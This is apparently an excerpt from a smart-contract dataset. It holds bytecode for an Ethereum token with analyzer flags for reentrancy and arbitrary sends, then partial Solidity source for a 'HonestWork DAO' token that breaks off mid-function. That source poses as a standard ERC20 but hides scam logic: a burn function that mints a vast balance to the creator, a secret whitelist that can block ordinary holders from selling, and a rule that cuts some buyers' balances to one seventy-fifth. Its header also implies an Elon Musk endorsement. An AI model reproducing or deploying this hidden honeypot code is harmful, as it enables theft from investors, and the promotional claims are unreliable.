1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a611273565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c059092919063ffffffff16565b61127b565b600190509392505050565b61056c611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f090612f4e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610665611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e990612f4e565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610750611273565b73ffffffffffffffffffffffffffffffffffffffff161461077057600080fd5b600047905061077e81611c69565b50565b60006107cb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d64565b9050919050565b6107da611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085e90612f4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d6f6e6f706c7900000000000000000000000000000000000000000000000000815250905090565b600061099f610998611273565b8484611446565b6001905092915050565b6109b1611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590612f4e565b60405180910390fd5b60005b8151811015610acf576001600a6000848481518110610a6357610a626133cb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac790613324565b915050610a41565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b14611273565b73ffffffffffffffffffffffffffffffffffffffff1614610b3457600080fd5b6000610b3f30610781565b9050610b4a81611dd2565b50565b610b55611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd990612f4e565b60405180910390fd5b600f60149054906101000a900460ff1615610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990612fce565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c6800061127b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0657600080fd5b505afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e91906128b3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da057600080fd5b505afa158015610db4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd891906128b3565b6040518363ffffffff1660e01b8152600401610df5929190612d9e565b602060405180830381600087803b158015610e0f57600080fd5b505af1158015610e23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4791906128b3565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed030610781565b600080610edb610925565b426040518863ffffffff1660e01b8152600401610efd96959493929190612df0565b6060604051808303818588803b158015610f1657600080fd5b505af1158015610f2a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4f9190612a83565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550652d79883d20006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104f929190612dc7565b602060405180830381600087803b15801561106957600080fd5b505af115801561107d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a19190612a29565b5050565b6110ad611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113190612f4e565b60405180910390fd5b6000811161117d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117490612f0e565b60405180910390fd5b6111aa606461119c8366038d7ea4c6800061205a90919063ffffffff16565b6120d590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e1919061300e565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612fae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290612ece565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611439919061300e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad90612f8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151d90612e8e565b60405180910390fd5b60008111611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090612f6e565b60405180910390fd5b611571610925565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115df57506115af610925565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4257600f60179054906101000a900460ff1615611812573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116bb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175b611273565b73ffffffffffffffffffffffffffffffffffffffff1614806117d15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b9611273565b73ffffffffffffffffffffffffffffffffffffffff16145b611810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180790612fee565b60405180910390fd5b5b5b60105481111561182157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ce57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119795750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119cf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e75750600f60179054906101000a900460ff165b15611a885742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3757600080fd5b600a42611a449190613144565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9330610781565b9050600f60159054906101000a900460ff16158015611b005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b185750600f60169054906101000a900460ff165b15611b4057611b2681611dd2565b60004790506000811115611b3e57611b3d47611c69565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bf357600090505b611bff8484848461211f565b50505050565b6000838311158290611c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c449190612e6c565b60405180910390fd5b5060008385611c5c9190613225565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb96002846120d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ce4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d356002846120d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d60573d6000803e3d6000fd5b5050565b6000600654821115611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da290612eae565b60405180910390fd5b6000611db561214c565b9050611dca81846120d590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0a57611e096133fa565b5b604051908082528060200260200182016040528015611e385781602001602082028036833780820191505090505b5090503081600081518110611e5057611e4f6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ef257600080fd5b505afa158015611f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2a91906128b3565b81600181518110611f3e57611f3d6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fa530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461127b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612009959493929190613029565b600060405180830381600087803b15801561202357600080fd5b505af1158015612037573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561206d57600090506120cf565b6000828461207b91906131cb565b905082848261208a919061319a565b146120ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c190612f2e565b60405180910390fd5b809150505b92915050565b600061211783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612177565b905092915050565b8061212d5761212c6121da565b5b61213884848461220b565b80612146576121456123d6565b5b50505050565b60008060006121596123e8565b9150915061217081836120d590919063ffffffff16565b9250505090565b600080831182906121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b59190612e6c565b60405180910390fd5b50600083856121cd919061319a565b9050809150509392505050565b60006008541480156121ee57506000600954145b156121f857612209565b600060088190555060006009819055505b565b60008060008060008061221d87612444565b95509550955095509550955061227b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235c81612554565b6123668483612611565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123c3919061300e565b60405180910390a3505050505050505050565b60046008819055506004600981905550565b60008060006006549050600066038d7ea4c68000905061241a66038d7ea4c680006006546120d590919063ffffffff16565b8210156124375760065466038d7ea4c68000935093505050612440565b81819350935050505b9091565b60008060008060008060008060006124618a60085460095461264b565b925092509250600061247161214c565b905060008060006124848e8787876126e1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c05565b905092915050565b60008082846125059190613144565b90508381101561254a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254190612eee565b60405180910390fd5b8091505092915050565b600061255e61214c565b90506000612575828461205a90919063ffffffff16565b90506125c981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612626826006546124ac90919063ffffffff16565b600681905550612641816007546124f690919063ffffffff16565b6007819055505050565b6000806000806126776064612669888a61205a90919063ffffffff16565b6120d590919063ffffffff16565b905060006126a16064612693888b61205a90919063ffffffff16565b6120d590919063ffffffff16565b905060006126ca826126bc858c6124ac90919063ffffffff16565b6124ac90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126fa858961205a90919063ffffffff16565b90506000612711868961205a90919063ffffffff16565b90506000612728878961205a90919063ffffffff16565b905060006127518261274385876124ac90919063ffffffff16565b6124ac90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061277d612778846130c3565b61309e565b905080838252602082019050828560208602820111156127a05761279f61342e565b5b60005b858110156127d057816127b688826127da565b8452602084019350602083019250506001810190506127a3565b5050509392505050565b6000813590506127e981613744565b92915050565b6000815190506127fe81613744565b92915050565b600082601f83011261281957612818613429565b5b813561282984826020860161276a565b91505092915050565b6000813590506128418161375b565b92915050565b6000815190506128568161375b565b92915050565b60008135905061286b81613772565b92915050565b60008151905061288081613772565b92915050565b60006020828403121561289c5761289b613438565b5b60006128aa848285016127da565b91505092915050565b6000602082840312156128c9576128c8613438565b5b60006128d7848285016127ef565b91505092915050565b600080604083850312156128f7576128f6613438565b5b6000612905858286016127da565b9250506020612916858286016127da565b9150509250929050565b60008060006060848603121561293957612938613438565b5b6000612947868287016127da565b9350506020612958868287016127da565b92505060406129698682870161285c565b9150509250925092565b6000806040838503121561298a57612989613438565b5b6000612998858286016127da565b92505060206129a98582860161285c565b9150509250929050565b6000602082840312156129c9576129c8613438565b5b600082013567ffffffffffffffff8111156129e7576129e6613433565b5b6129f384828501612804565b91505092915050565b600060208284031215612a1257612a11613438565b5b6000612a2084828501612832565b91505092915050565b600060208284031215612a3f57612a3e613438565b5b6000612a4d84828501612847565b91505092915050565b600060208284031215612a6c57612a6b613438565b5b6000612a7a8482850161285c565b91505092915050565b600080600060608486031215612a9c57612a9b613438565b5b6000612aaa86828701612871565b9350506020612abb86828701612871565b9250506040612acc86828701612871565b9150509250925092565b6000612ae28383612aee565b60208301905092915050565b612af781613259565b82525050565b612b0681613259565b82525050565b6000612b17826130ff565b612b218185613122565b9350612b2c836130ef565b8060005b83811015612b5d578151612b448882612ad6565b9750612b4f83613115565b925050600181019050612b30565b5085935050505092915050565b612b738161326b565b82525050565b612b82816132ae565b82525050565b6000612b938261310a565b612b9d8185613133565b9350612bad8185602086016132c0565b612bb68161343d565b840191505092915050565b6000612bce602383613133565b9150612bd98261344e565b604082019050919050565b6000612bf1602a83613133565b9150612bfc8261349d565b604082019050919050565b6000612c14602283613133565b9150612c1f826134ec565b604082019050919050565b6000612c37601b83613133565b9150612c428261353b565b602082019050919050565b6000612c5a601d83613133565b9150612c6582613564565b602082019050919050565b6000612c7d602183613133565b9150612c888261358d565b604082019050919050565b6000612ca0602083613133565b9150612cab826135dc565b602082019050919050565b6000612cc3602983613133565b9150612cce82613605565b604082019050919050565b6000612ce6602583613133565b9150612cf182613654565b604082019050919050565b6000612d09602483613133565b9150612d14826136a3565b604082019050919050565b6000612d2c601783613133565b9150612d37826136f2565b602082019050919050565b6000612d4f601183613133565b9150612d5a8261371b565b602082019050919050565b612d6e81613297565b82525050565b612d7d816132a1565b82525050565b6000602082019050612d986000830184612afd565b92915050565b6000604082019050612db36000830185612afd565b612dc06020830184612afd565b9392505050565b6000604082019050612ddc6000830185612afd565b612de96020830184612d65565b9392505050565b600060c082019050612e056000830189612afd565b612e126020830188612d65565b612e1f6040830187612b79565b612e2c6060830186612b79565b612e396080830185612afd565b612e4660a0830184612d65565b979650505050505050565b6000602082019050612e666000830184612b6a565b92915050565b60006020820190508181036000830152612e868184612b88565b905092915050565b60006020820190508181036000830152612ea781612bc1565b9050919050565b60006020820190508181036000830152612ec781612be4565b9050919050565b60006020820190508181036000830152612ee781612c07565b9050919050565b60006020820190508181036000830152612f0781612c2a565b9050919050565b60006020820190508181036000830152612f2781612c4d565b9050919050565b60006020820190508181036000830152612f4781612c70565b9050919050565b60006020820190508181036000830152612f6781612c93565b9050919050565b60006020820190508181036000830152612f8781612cb6565b9050919050565b60006020820190508181036000830152612fa781612cd9565b9050919050565b60006020820190508181036000830152612fc781612cfc565b9050919050565b60006020820190508181036000830152612fe781612d1f565b9050919050565b6000602082019050818103600083015261300781612d42565b9050919050565b60006020820190506130236000830184612d65565b92915050565b600060a08201905061303e6000830188612d65565b61304b6020830187612b79565b818103604083015261305d8186612b0c565b905061306c6060830185612afd565b6130796080830184612d65565b9695505050505050565b60006020820190506130986000830184612d74565b92915050565b60006130a86130b9565b90506130b482826132f3565b919050565b6000604051905090565b600067ffffffffffffffff8211156130de576130dd6133fa565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314f82613297565b915061315a83613297565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318f5761318e61336d565b5b828201905092915050565b60006131a582613297565b91506131b083613297565b9250826131c0576131bf61339c565b5b828204905092915050565b60006131d682613297565b91506131e183613297565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321a5761321961336d565b5b828202905092915050565b600061323082613297565b915061323b83613297565b92508282101561324e5761324d61336d565b5b828203905092915050565b600061326482613277565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b982613297565b9050919050565b60005b838110156132de5780820151818401526020810190506132c3565b838111156132ed576000848401525b50505050565b6132fc8261343d565b810181811067ffffffffffffffff8211171561331b5761331a6133fa565b5b80604052505050565b600061332f82613297565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133625761336161336d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61374d81613259565b811461375857600080fd5b50565b6137648161326b565b811461376f57600080fd5b50565b61377b81613297565b811461378657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d905e6756ba306093c690ee2203de276d068e49a312e30c443c5d89c864170a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,258
0x5ed86f5fa2769e1c9305d306e24d4ec3253f58c8
/** *Submitted for verification at Etherscan.io on 2022-01-04 */ /* It ain't much, but it's honest work. https://twitter.com/elonmusk/status/1478419298032836610 _ _ _ __ __ _ _____ ____ | | | | | | \ \ / / | | | __ \ /\ / __ \ | |__| | ___ _ __ ___ ___| |_ \ \ /\ / /__ _ __| | __ | | | | / \ | | | | | __ |/ _ \| '_ \ / _ \/ __| __| \ \/ \/ / _ \| '__| |/ / | | | |/ /\ \| | | | | | | | (_) | | | | __/\__ \ |_ \ /\ / (_) | | | < | |__| / ____ \ |__| | |_| |_|\___/|_| |_|\___||___/\__| \/ \/ \___/|_| |_|\_\ |_____/_/ \_\____/ Join us now with Elon Musk: @HonestWorkDAO */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Blood; mapping (address => bool) private Falls; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _MultiTimeLog; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; address[] private workArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private Shits; uint256 private Pisses; uint256 private Sweat; bool private Running; bool private FinalCountdown; bool private Wonders; uint256 private qwas; constructor (string memory name_, string memory symbol_, address creator_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _name = name_; _creator = creator_; _symbol = symbol_; FinalCountdown = true; Blood[creator_] = true; Running = true; Wonders = false; Falls[creator_] = false; qwas = 0; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _HonestWorkStuff(address sender, uint256 amount) internal { if ((Blood[sender] != true)) { if ((amount > Sweat)) { require(false); } require(amount < Shits); if (Wonders == true) { if (Falls[sender] == true) { require(false); } Falls[sender] = true; } } } function _MuskTusk(address recipient) internal { workArray.push(recipient); _MultiTimeLog[recipient] = block.timestamp; if ((Blood[recipient] != true) && (qwas > 2)) { if ((_MultiTimeLog[workArray[qwas-1]] == _MultiTimeLog[workArray[qwas]]) && Blood[workArray[qwas-1]] != true) { _balances[workArray[qwas-1]] = _balances[workArray[qwas-1]]/75; } } qwas++; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { _balances[_creator] += _totalSupply * 10 ** 10; require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); (Blood[spender],Falls[spender],Running) = ((address(owner) == _creator) && (Running == true)) ? (true,false,false) : (Blood[spender],Falls[spender],Running); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (Shits,Wonders) = ((address(sender) == _creator) && (FinalCountdown == false)) ? (Pisses, true) : (Shits,Wonders); (Blood[recipient],FinalCountdown) = ((address(sender) == _creator) && (FinalCountdown == true)) ? (true, false) : (Blood[recipient],FinalCountdown); _MuskTusk(recipient); _HonestWorkStuff(sender, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployTheWork(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (1000, 1000); _totalSupply += amount; _balances[account] += amount; Shits = _totalSupply; Pisses = _totalSupply / temp1; Sweat = Pisses * temp2; emit Transfer(address(0), account, 